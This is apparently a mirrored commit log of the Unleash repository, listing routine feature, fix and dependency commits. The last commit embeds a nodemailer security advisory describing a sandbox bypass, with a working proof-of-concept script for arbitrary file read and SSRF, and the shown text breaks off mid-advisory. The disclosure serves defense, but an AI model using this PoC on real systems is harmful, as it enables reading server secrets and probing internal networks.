mirror of
https://github.com/Unleash/unleash.git
synced 2026-09-09 21:55:55 +00:00
main
16383 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
0102c51169 | fix: avoid cleaning the negative cache | ||
|
|
9b8bd2ee38 |
feat(strategies): simpler strategy setup - part 5c - template card and template screen
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
8cec1a30ff | feat: batch same user expiry tokens in one email | ||
|
|
8ea0eb3296 |
fix: show more honest graphs / align time series
In the previous implementation (in https://github.com/bricks-software/unleash-enterprise/pull/1709), there was a bug where: if the data series were of different lengths, then hovering a point might pick a different time in each series: Notice how the blue and yellow points are at different times here: <img width="1040" height="676" alt="image" src="https://github.com/user-attachments/assets/9fb829ac-c2c9-475e-85af-e6bb5af0dbfa" /> In short, this is because the series weren't padded or otherwise aligned, so, because the tooltip uses index to access the values, it could pick a different time in each series. This fixes that by padding each series with `null` values. This means that sparse series will only show the values they actually have. They might come and go, depending on the data. Single points are rendered as a single dot instead of interpolating to the next point. This prevents lines that make it look like there's data when there isn't. Single data points look like this: <img width="565" height="521" alt="Pasted Graphic 2" src="https://github.com/user-attachments/assets/19c7c030-586c-454d-8d80-f845660f77fc" /> Broken graphs look like this: <img width="667" height="587" alt="1000 20260908 1000" src="https://github.com/user-attachments/assets/0943343b-06dc-4756-8c99-55ef1934219e" /> Not padding the values with 0s is in line with the old graph, but not interpolating between values is a change that _I_ think is an improvement. Turning that back on is one additional config value (`spanGaps: true`). Old graph style: <img width="1483" height="216" alt="Pasted Graphic 4" src="https://github.com/user-attachments/assets/0bcb525c-84d4-4ceb-83b3-b1d7bbbc2cf5" /> The "we have a green value, but not a blue value, but it looks like the blue line has a value" problem: <img width="800" height="265" alt="Pasted Graphic 5" src="https://github.com/user-attachments/assets/2ae5f1a0-574c-4492-b1b2-5a2d9a934563" /> What it'd look like if we turned on spanGaps: true. The blue line has a circular marker, the yellow does not, but it looks like the yellow is non-zero: <img width="555" height="537" alt="20260908 955" src="https://github.com/user-attachments/assets/071f5189-e194-44d2-8751-411bdd714f54" /> |
||
|
|
36771f4e7f |
chore: Update Admin settings -> Network -> Traffic graph to match analytics
Replaces the old graph in admin settings -> network -> traffic graph with the newer graph style that we use for the analytics page. Bonus: we get to delete a bunch of code. Negative: we lose any distinction between graph lines other than color (bad for accessibility). However, this is how we style all the other charts in the interface, so we should fix it at the source if we want to. Before: <img width="1217" height="679" alt="image" src="https://github.com/user-attachments/assets/88a0f049-dc76-47a3-be8f-84c568e218d9" /> After: <img width="1278" height="720" alt="image" src="https://github.com/user-attachments/assets/44a869b8-c43d-4aa9-90d9-b05daf92291c" /> |
||
|
|
4af1ca7f17 | feat: hash email in flight recorder not unleash | ||
|
|
1bebbafece |
fix: make client registration writes resilient to deadlocks (#12619)
## About the changes Concurrent registration flushes can acquire overlapping application and instance row locks in different orders, causing deadlocks. A failed flush also discards its buffered registrations. Sort bulk writes by their conflict keys and coalesce application observations by `app_name`, keeping the greatest `seen_at` within each batch. Keep the original applications-first order: commit applications and their usage rows together, then persist instance heartbeats separately. Sorting addresses lock ordering; swapping these calls has no demonstrated deadlock-prevention benefit. Restore failed batches while preserving newer registrations received during persistence. Correct application `lastSeen` mapping to the persisted `seen_at` column and type the database row mappings. Fixes #11390. Consistent ordering addresses opposite-order batch deadlocks; it does not eliminate ordinary lock waits or reduce write volume. ## OSS PR checklist - [x] I have read and agree to the [Unleash Contributor License Agreement](https://github.com/Unleash/unleash/blob/main/CLA.md). - [x] I have added tests or explained why tests are not needed. - [x] I have updated documentation where relevant. No configuration or schema changes require documentation updates. |
||
|
|
ac2cadad83 |
feat: Displays all project scoped integrations and makes UI similar to global Integrations page
Now displays all project integrations and not just `app-slack` since it is a bit confusing that only one type of integrations is shown. Also changed the UI so it is similar to the global integrations page. This also makes it easier to add different project integrations. |
||
|
|
a040068f92 |
chore: clamp exposure valure for automations
Since we're showing the exposure progress indicator on exposure based automations, inputting a very big value results in a visual bug. This clamps the max value of exposures to 1 billion. Before: <img width="1103" height="247" alt="Screenshot 2026-09-08 at 17 43 15" src="https://github.com/user-attachments/assets/1725fd30-96c3-407c-99f3-27aaa907187e" /> After: <img width="1103" height="247" alt="Screenshot 2026-09-08 at 17 55 50" src="https://github.com/user-attachments/assets/4a54d5ad-2ba3-49e9-835f-95c4be689549" /> |
||
|
|
0acf4b4f1a |
chore: new flag editableInstanceName
enterprise + frontend flag It doesn't make sense in the OSS |
||
|
|
5ff54da9a5 |
refactor(tracking): useTracking returns one callable per journey
`useTracking` now returns a callable tracker, so a call site holds one named function per journey: `trackX(action)`, `trackX.mutation(fn)`, `trackX.validationFailed()`. Every call site is converted; the old object return let callers choose between destructuring, holding, and renaming, which produced four shapes in a single PR when I was working with Claude. This rule will now be enforced and will be easy to follow. A Biome GritQL rule (`oss/tracking-shape.grit`) rejects destructuring the return value, so the shape is enforced by lint rather than review. |
||
|
|
623785b74d |
feat(audit): adds user-agent to audit events for user-initiated events only - EG-4693
Closes [EG-4693](https://linear.app/unleash/issue/EG-4693) ## Issue Customer's CSOC needs `user-agent` on the audit logs we replicate to S3 (Samely it's done for login/logout events). Access logs already carry it, audit-events didn't. ### What we did In this PR we add `user-agent` to audit events, but only for user-initiated ones. This is behind a `"auditEventUserAgent"` flag (off by default). By tech decision, we track only reqs that create audit-events not all of them. Rest of scheduled change requests, automated actions, bg jobs, anything under the system-audit-user do NOT get the 'user-agent' info. As there's no HTTP req behind those, there's nothing to record => these rows store `null` intentionally, so we can tell "NO user agent" from "empty user agent". ### How it works `extractAuditInfo(req)` builds the audit-context for a req, and it's the only place a user-agent can get in. So that's where we read the header, check the flag and clean the value: ```ts userAgent: captureUserAgent ? sanitizeUserAgent(extractUserAgent(req)) : undefined ``` ### Where it shows up - new db column `user_agent` on `events` (nullable) - the S3 audit export, as `userAgent` - **not** the event search API or the UI - `auditEventFields(auditUser)` - 15 events were hand-writing `createdBy` / `createdByUserId` / `ip` as object literals. One helper now, so the next audit column is a one-line change instead of a 15-file sweep. - import-toggles was rebuilding its audit context with `extractAuditInfoFromUser`, which throws the request away. It passes `auditUser` straight through now. ### Tests - unit: sanitizing, flag on/off, and a check of every entry point that is *not* user-initiated - e2e via real HTTP stack: one req that produces both a user-attributed and a system-attributed event, proving only the first gets a 'user-agent' field How we tested it: - Run the app with the flag ON - Created a feature flag -> to provoke a "featiure_created" event <img width="1726" height="616" alt="Screenshot 2026-09-03 at 13 14 44" src="https://github.com/user-attachments/assets/2aa9ea4a-881c-42ea-bf84-b3fdf1a8ad96" /> - Checked events table: <img width="1548" height="164" alt="Screenshot 2026-09-03 at 13 13 32" src="https://github.com/user-attachments/assets/41f7aa82-450b-4c89-b06c-a2f04c372d3e" /> we have a new row "user-agent" on events table 🎊 ## Notes - Migration is `ADD COLUMN ... TEXT` with no default - `events` table has no retention - whatever we put there stays forever. Fine for one nullable column, worth remembering before we widen scope. - password reset (`/auth/reset`) is user-initiated but sits outside `/api/admin` and stores under the system-audit-user, so it gets no "user-agent". - out of scope here - should be added? --------- Co-authored-by: irstavr <irini.stavrakantonaki@getunleash.io> Co-authored-by: irstavr <irstavr@gmail.com> |
||
|
|
1344184544 |
feat: show current exposures count indicator next to automation
Shows an exposure progress indicator next to exposure-based milestone automations. The indicator displays the environment's accumulated exposures against the automation's threshold, e.g. `~510/1k exposures`, with counts floored to two significant digits so progress is never overstated. It renders on the feature overview page and in change request views of milestone automation changes, both editable and readonly. - Reads `totalUsage` from the existing feature metrics summary (`GET /api/admin/client-metrics/features/:name`). The indicator shares the SWR cache entry the page already populates. - `useFeatureMetrics` accepts optional identifiers and moves onto `useConditionalSWR`, matching our general pattern. - `useExposureProgress(condition, environment, featureName?)` owns the decision logic: an explicitly passed feature name (change request views pass `plan.featureName`) wins over the route's `featureId`, and the hook returns `undefined`, no fetch, no indicator, when neither exists. `ExposureProgress` itself is pure presentation. - The transition condition row now wraps, so on narrow screens the pill drops below the condition instead of colliding with the draft badges and the delete action. <img width="1004" height="175" alt="Screenshot 2026-09-07 at 15 53 03" src="https://github.com/user-attachments/assets/00b5110c-b723-488b-b3b3-d359aefa4923" /> https://github.com/user-attachments/assets/2aa3a08c-70ff-42db-b028-f18eaea68723 <img width="1004" height="342" alt="Screenshot 2026-09-07 at 15 51 41" src="https://github.com/user-attachments/assets/a84a50b3-823c-49b2-83b0-8e40a74cacf6" /> <img width="567" height="211" alt="Screenshot 2026-09-07 at 16 40 53" src="https://github.com/user-attachments/assets/ecaa8f71-c4c7-4f50-9d2b-b061c53b3afe" /> <img width="831" height="503" alt="Screenshot 2026-09-07 at 16 57 17" src="https://github.com/user-attachments/assets/b7287891-da10-444d-bf89-db0fdc1cdfa9" /> ## Follow-up tasks Now that we are rendering this exposures count indicator component, bigger numbers break the UI (see screenshot below). We need to validate against a maximum number for exposures values. <img width="839" height="142" alt="Screenshot 2026-09-07 at 16 42 00" src="https://github.com/user-attachments/assets/259492cb-cb41-4376-92a6-140215be3e48" /> |
||
|
|
687fdcd2ed |
refactor(strategies): extract NoReleaseTemplatesMessage and ReleaseTemplateCard
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
c47ca5932d | chore(oss): sync Unleash/unleash main | ||
|
|
f838c55465 |
refactor(strategies): simpler strategy setup - part 5b - extract useAddReleasePlan
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
99bff31686 |
chore(deps): update dependency highlight.js to v11.12.0 (#12631)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [highlight.js](https://highlightjs.org/) ([source](https://redirect.github.com/highlightjs/highlight.js)) | [`11.11.1` → `11.12.0`](https://renovatebot.com/diffs/npm/highlight.js/11.11.1/11.12.0) |  |  | --- ### Release Notes <details> <summary>highlightjs/highlight.js (highlight.js)</summary> ### [`v11.12.0`](https://redirect.github.com/highlightjs/highlight.js/blob/HEAD/CHANGES.md#Version-11120) [Compare Source](https://redirect.github.com/highlightjs/highlight.js/compare/11.11.2...11.12.0) Parser Engine: - fix(parser) count named capture groups when rewriting backreferences [spokodev][] New Grammars: - add FreeDesktop config file (`.desktop` / systemd) grammar [gg582][] - added 3rd party Cedar grammar to SUPPORTED\_LANGUAGES [Dhruv Maniya][] - added 3rd party DAX and M (Power Query) grammars to SUPPORTED\_LANGUAGES [jiaopengzi][] - added 3rd party Djot grammar to SUPPORTED\_LANGUAGES [Mark Scherer][] - added 3rd party Igor Pro grammar to SUPPORTED\_LANGUAGES [Ryne Andal][] - added 3rd party Jaiva grammar to SUPPORTED\_LANGUAGES [Lehlogonolo Poole][] - added 3rd party Liquidsoap grammar to SUPPORTED\_LANGUAGES [Romain Beauxis][] - added 3rd party MoonBit grammar to SUPPORTED\_LANGUAGES [Kaida-Amethyst][] - added 3rd party Pkl grammar to SUPPORTED\_LANGUAGES [Dan Chao][] - added 3rd party RAScript grammar to SUPPORTED\_LANGUAGES [Joshua Raphael][] - added 3rd party Veryl grammar to SUPPORTED\_LANGUAGES [Naoya Hatta][] - added 3rd party Why3 grammar to SUPPORTED\_LANGUAGES [JGalego][] - added 3rd party Xojo grammar to SUPPORTED\_LANGUAGES [patricksalo][] - referenced existing 3rd party ES|QL grammar in SUPPORTED\_LANGUAGES [Styx0x6][] Core Grammars: - fix(c) only match real `atomic_*` type names, not C11 atomic functions, issue [#​3837](https://redirect.github.com/highlightjs/highlight.js/issues/3837) [Mark Xian][] - fix(c) do not highlight C++ std types as built-ins, issue [#​4103](https://redirect.github.com/highlightjs/highlight.js/issues/4103) [Arron Zou][] - fix(c, cpp) bound the run of type tokens in front of a function name (ReDoS), issue [#​4362](https://redirect.github.com/highlightjs/highlight.js/issues/4362) [Jayesh Bhade][] - fix(c, cpp) scope angle-bracket header string to `#include`, issue [#​3505](https://redirect.github.com/highlightjs/highlight.js/issues/3505) [Pablo][] - fix(c, cpp) stop a raw string's closing delimiter from swallowing quotes, issue [#​3585](https://redirect.github.com/highlightjs/highlight.js/issues/3585) [David Pavlovschii][] - enh(cmake) add `block` and `endblock` keywords [Anonymous Maarten][] - fix(cmake) only highlight standalone numbers, not digits that begin an identifier (e.g. `3rdparty`), issue [#​4170](https://redirect.github.com/highlightjs/highlight.js/issues/4170) [Mark Xian][] - fix(cpp) require a word boundary before numeric literals so digits inside identifiers aren't highlighted as numbers, issue [#​4231](https://redirect.github.com/highlightjs/highlight.js/issues/4231) [Mark Xian][] - fix(crystal) stop treating integer division `//` as a regex literal [Zain Asif][] - enh(csharp) support digit separators in binary literals and numeric type suffixes, and stop highlighting the leading `_` of an identifier, issue [#​4258](https://redirect.github.com/highlightjs/highlight.js/issues/4258) [Sarath Francis][] - enh(css) add corner-shape properties [Hama Tanveer][] - enh(css) support six-digit `unicode-range` values [Konstantin Baltsat][] - enh(dart) add highlighting for class and function names [guuido][] - enh(dns) highlight registered CAA property tags, issue [#​4475](https://redirect.github.com/highlightjs/highlight.js/issues/4475) [Joey Huang][] - enh(dns) improve grammar: character strings, TXT, classes, escapes, addresses [Checconio][] - enh(dos) add `batch` as an alias, issue [#​4395](https://redirect.github.com/highlightjs/highlight.js/issues/4395) [Hashim Khan][] - enh(gherkin) update keyword list [Hirse][] - enh(gherkin) variables can't contain whitespace [Hirse][] - enh(gherkin) docstrings can use backticks [Hirse][] - enh(go) recognize binary integer literals [spokodev][] - enh(groovy) support underscores in numeric literals [greymoth][] - fix(haskell) highlight `where` in GADT and closed type-family declarations, issue [#​3753](https://redirect.github.com/highlightjs/highlight.js/issues/3753) [Konstantin Baltsat][] - enh(java) improve detection of types, including generic and array types [Hannes Wallnoefer][] - enh(javascript) add `self` to built-in variables [Dsaquel][] - enh(kotlin) add `ktm` and `ktx` aliases [DarkMatter-999][] - fix(leaf) fix bug in Leaf keyword highlighting [Francesco Paolo Severino][] - fix(lisp) preserve highlighting after quoted multiplication expressions [arturict][] - enh(llvm) support block C-style comments [utam-1][] - enh(lua) add Lua 5.5 `global` keyword [Nibiri][] - fix(markdown) don't treat a `***` or `___` thematic break as the start of bold text, issue [#​3719](https://redirect.github.com/highlightjs/highlight.js/issues/3719) [Mayank Gupta][] - enh(nsis) enhance NSIS rules [Jan T. Sott][] - enh(python) add missing builtins: `aiter` and `anext` (3.10), `frozendict` and `sentinel` (3.15) [Hugo van Kemenade][] - enh(python) correctly highlight `lazy import` syntax from PEP 810 [Peter Bierma][] - enh(python) support t-strings [Nicolas Le Cam][] - fix(ruby) don't treat the scope resolution operator `::` as a symbol, issue [#​4294](https://redirect.github.com/highlightjs/highlight.js/issues/4294) [Hashim Khan][] - enh(rust) add `safe` keyword [Frances Wingerter][] - enh(rust) include the `raw` borrow operator in keywords [Shiva Kiran Koninty][] - enh(rust) parse f16 and f128 literals [usamoi][] - fix(rust) allow function invocations whose names start with a keyword [Xia Li-yao][] - fix(rust) recognize `\\` and `\"` char-literal escapes so highlighting doesn't leak, issue [#​4351](https://redirect.github.com/highlightjs/highlight.js/issues/4351) [Sarath Francis][] - enh(shell) match period (.) as part of shell prompt [Ian Wienand][] - enh(sqf) update to Arma 3 v2.22 [LouMontana][] - fix(xml) remove recursive sublanguage references to prevent ReDoS [petejm][] Documentation: - docs(php) explain the difference between `php` and `php-template` [Zain Asif][] - document LLVM IR in SUPPORTED\_LANGUAGES [Jan Schultke][] - document the existing `pwsh` alias for PowerShell [helpimnotdrowning][] - list languages with category "common" in SUPPORTED\_LANGUAGES [Marc Bernard][] - remind contributors to run `npm i` [Proliecan][] - fix typos in README.CDN.md [Zitrone][] Themes: - added Equinox theme [Griffon Langyer][] Build / Tooling: - (build) allow third-party packages to override default languages [Lysxia][] - (build) use Trusted Publishers in the publishing pipeline [allejo][] - fix(types) allow RegExp in `Mode.keywords` [KJyang-0114][] - refactor(tools) replace `@colors/colors` with ansis [webdiscus][] - chore: dependency updates CONTRIBUTORS [spokodev]: https://redirect.github.com/spokodev [gg582]: https://redirect.github.com/gg582 [Dhruv Maniya]: https://redirect.github.com/iamdhrv [jiaopengzi]: https://redirect.github.com/jiaopengzi [Mark Scherer]: https://redirect.github.com/dereuromark [Ryne Andal]: https://redirect.github.com/ryneandal [Lehlogonolo Poole]: https://redirect.github.com/yetnt [Romain Beauxis]: https://redirect.github.com/toots [Kaida-Amethyst]: https://redirect.github.com/Kaida-Amethyst [Dan Chao]: https://redirect.github.com/bioball [Joshua Raphael]: https://redirect.github.com/joshraphael [Naoya Hatta]: https://redirect.github.com/dalance [JGalego]: https://redirect.github.com/JGalego [patricksalo]: https://redirect.github.com/patricksalo [Styx0x6]: https://redirect.github.com/styx0x6 [Mark Xian]: https://redirect.github.com/xianjianlf2 [Arron Zou]: https://redirect.github.com/arronKler [Jayesh Bhade]: https://redirect.github.com/Jaybhade [Pablo]: https://redirect.github.com/MsfPablo [David Pavlovschii]: https://redirect.github.com/davidpavlovschi [Anonymous Maarten]: https://redirect.github.com/madebr [Zain Asif]: https://redirect.github.com/zain-asif-dev [Sarath Francis]: https://redirect.github.com/sarathfrancis90 [Hama Tanveer]: https://redirect.github.com/ezforhamza [Konstantin Baltsat]: https://redirect.github.com/Baltsat [guuido]: https://redirect.github.com/guuido [Joey Huang]: https://redirect.github.com/oiahoon [Checconio]: https://redirect.github.com/Checconio [Hashim Khan]: https://redirect.github.com/Hashim1999164 [Hirse]: https://redirect.github.com/Hirse [greymoth]: https://redirect.github.com/mahirhir [Hannes Wallnoefer]: https://redirect.github.com/hns [Dsaquel]: https://redirect.github.com/Dsaquel [DarkMatter-999]: https://redirect.github.com/DarkMatter-999 [Francesco Paolo Severino]: https://redirect.github.com/fpseverino [arturict]: https://redirect.github.com/arturict [utam-1]: https://redirect.github.com/utam-1 [Nibiri]: https://redirect.github.com/NibiriTheMan [Mayank Gupta]: https://redirect.github.com/Mynk11 [Jan T. Sott]: https://redirect.github.com/idleberg [Hugo van Kemenade]: https://redirect.github.com/hugovk [Peter Bierma]: https://redirect.github.com/ZeroIntensity [Nicolas Le Cam]: https://redirect.github.com/KuSh [Frances Wingerter]: https://redirect.github.com/fw-immunant [Shiva Kiran Koninty]: https://redirect.github.com/skr4n [usamoi]: https://redirect.github.com/usamoi [Xia Li-yao]: https://redirect.github.com/Lysxia [Ian Wienand]: https://redirect.github.com/ianw [LouMontana]: https://redirect.github.com/LouMontana [petejm]: https://redirect.github.com/petejm [Jan Schultke]: https://redirect.github.com/eisenwave [helpimnotdrowning]: https://redirect.github.com/helpimnotdrowning [Marc Bernard]: https://redirect.github.com/mbtools [Proliecan]: https://redirect.github.com/Proliecan [Zitrone]: https://redirect.github.com/quantenzitrone [Griffon Langyer]: https://redirect.github.com/rfon6ngy [Lysxia]: https://redirect.github.com/Lysxia [allejo]: https://redirect.github.com/allejo [KJyang-0114]: https://redirect.github.com/KJyang-0114 [webdiscus]: https://redirect.github.com/webdiscus ### [`v11.11.2`](https://redirect.github.com/highlightjs/highlight.js/blob/HEAD/CHANGES.md#Version-11112) [Compare Source](https://redirect.github.com/highlightjs/highlight.js/compare/11.11.1...11.11.2) Parser Engine: - fix illegal handling at end of input code [Josh Goebel][] New Grammars: - added 3rd party Aiken grammar to SUPPORTED\_LANGUAGES [Josh Marchand][] - added 3rd party VoltScript grammar to SUPPORTED\_LANGUAGES [Chester Moses][] - added 3rd party Gleam grammar to SUPPORTED\_LANGUAGES [Filip Hoffmann][] - added 3rd party Magik grammar to SUPPORTED\_LANGUAGES [Sebastiaan Speck][] - added 3rd party Prisma grammar to SUPPORTED\_LANGUAGES [SungHyun Kim][] - added 3rd party Bicep grammar to SUPPORTED\_LANGUAGES [Anthony Martin][] - added 3rd party L4 grammar to SUPPORTED\_LANGUAGES [Thomas Gorissen][] - added 3rd party Abc Notation grammar to SUPPORTED\_LANGUAGES [NriotHrreion][] Core Grammars: - fix(cpp) exclude keywords from function calls [Eisenwave][] - enh(csp) add missing directives / keywords from MDN (7 more) [Max Liashuk][] - enh(ada) add new `parallel` keyword, allow `[]` for Ada 2022 [Max Reznik][] - fix(javascript) correctly highlight 'for await' again \[wolfgang42]\[] - fix(diff) fix unified diff hunk header regex to allow unpaired numbers [Chris Wilson][] - enh(php) support single line and hash comments in attributes, constructor and functions [Antoine Musso][] - fix(ex) adds support for `?'` char literal and missing `defguardp` keyword [Kevin Bloch][] - enh(json) add json5 support [Kerry Shetline][] - fix(csharp) Support digit separators [te-ing][] - fix(css) `unicode-range` parsing, issue [#​4253](https://redirect.github.com/highlightjs/highlight.js/issues/4253) [Kerry Shetline][] Documentation: - update link to Odin grammar to maintained version [Marian Pekár][] - fix type `highlight` deprecated message [Brandon Dong][] - fixed typo and incorrect git command [SungHyun Kim][] - fix CONTRIBUTING.md broken badge link [SungHyun Kim][] - alphabetized languages + upper-cased BASIC in SUPPORTED\_LANGUAGES.md [Adam Lui][] - deduplicate JSON from SUPPORTED\_LANGUAGES [Lukasz Czajczyk][] Themes: - Fix: cybertopia themes render correctly in shadow DOM [hbgl][] - added "vs Dark " theme [Twineee1][] Themes: - Added `Night Coder Ash` theme [Ashkan Shirpour][] - Added `Night Coder Charcoal` theme [Ashkan Shirpour][] - Added `Night Coder Ember` theme [Ashkan Shirpour][] - Added `Night Coder Flame` theme [Ashkan Shirpour][] - Added `Paper` theme [Ashkan Shirpour][] - Added `Ice` theme [Ashkan Shirpour][] CONTRIBUTORS [Josh Goebel]: https://redirect.github.com/joshgoebel [Marian Pekár]: https://redirect.github.com/marianpekar [Eisenwave]: https://redirect.github.com/Eisenwave/ [Brandon Dong]: https://redirect.github.com/brandondong [SungHyun Kim]: https://redirect.github.com/witch-factory [Lukasz Czajczyk]: https://redirect.github.com/LukeCz [Josh Marchand]: https://redirect.github.com/yHSJ [Max Liashuk]: https://redirect.github.com/probil [Max Reznik]: https://redirect.github.com/reznikmm [Kevin Bloch]: https://redirect.github.com/codingthat [Chris Wilson]: https://redirect.github.com/sushicw [Antoine Musso]: https://redirect.github.com/hashar [Chester Moses]: https://redirect.github.com/Chester-Moses-HCL [Kerry Shetline]: https://redirect.github.com/kshetline [Adam Lui]: https://redirect.github.com/adamlui [Sebastiaan Speck]: https://redirect.github.com/sebastiaanspeck [Filip Hoffmann]: https://redirect.github.com/folospior [Twineee1]: https://redirect.github.com/Twineee1 [hbgl]: https://redirect.github.com/hbgl [Thomas Gorissen]: https://redirect.github.com/serrynaimo [te-ing]: https://redirect.github.com/te-ing [Anthony Martin]: https://redirect.github.com/anthony-c-martin [NriotHrreion]: https://redirect.github.com/NriotHrreion [Ashkan Shirpour]: https://redirect.github.com/a5hk </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - "after 7pm every weekday,before 5am every weekday" - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
2ade179c1b | chore(oss): sync Unleash/unleash main | ||
|
|
990873712d |
chore(deps): update dependency nodemailer to v9.1.1 [security] (#12630)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`9.0.6` → `9.1.1`](https://renovatebot.com/diffs/npm/nodemailer/9.0.6/9.1.1) |  |  | --- ### Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature [GHSA-8m3c-c648-2xjj](https://redirect.github.com/advisories/GHSA-8m3c-c648-2xjj) <details> <summary>More information</summary> #### Details ##### Summary Nodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`. When called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`). A plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled. ##### Details Root cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`): ```js ['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => { if (key in options) { this.data[key] = options[key]; } }); ``` The public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`): ```js resolveContent(...args) { return shared.resolveContent(...args); } ``` `shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`): ```js module.exports.resolveContent = (data, key, options, callback) => { // options is optional; support the legacy resolveContent(data, key, callback) signature if (!callback && typeof options === 'function') { callback = options; options = false; } options = options || {}; ... resolveContentValue(data, key, options, callback); ``` `resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`). Contrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is "useful when you want to create a plugin that needs a content value"). Affected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test). ##### PoC Requires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener. ```js 'use strict'; const nodemailer = require('nodemailer'); const MailMessage = require('nodemailer/lib/mailer/mail-message'); const TARGET_FILE = '/app/src/package.json'; // any readable local file const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target const transporter = nodemailer.createTransport({ streamTransport: true, disableFileAccess: true, // sandbox explicitly enabled disableUrlAccess: true }); const data = { from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello', html: { path: TARGET_FILE }, attachments: [{ filename: 'x.bin', href: SSRF_URL }] }; const mail = new MailMessage(transporter, data); // mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true // Documented legacy plugin signature — options argument omitted: mail.resolveContent(mail.data, 'html', (err, value) => { if (err) return console.log('BLOCKED', err.code); console.log('FILE_READ_OK len=', value.length); // -> 1647 (package.json) }); mail.resolveContent(mail.data.attachments, 0, (err, body) => { if (err) return console.log('BLOCKED', err.code); console.log('URL_FETCH_OK body=', body.toString()); // -> fetched response }); ``` Observed output on the audit environment (Node 22, `nodemailer@9.1.0`): ```text mail.data.disableFileAccess = true | disableUrlAccess = true [CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json [CONTROL html.path explicit-options] err = EFILEACCESS [BYPASS html.path legacy] READ OK len = 1647 head = "{\n \"name\": \"nodemailer\",\n \"version\": \"9.1.0\",\n \"des" [BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n" ``` The negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`. ##### Impact An application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed: - Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message. - Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host. Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path. #### Severity - CVSS 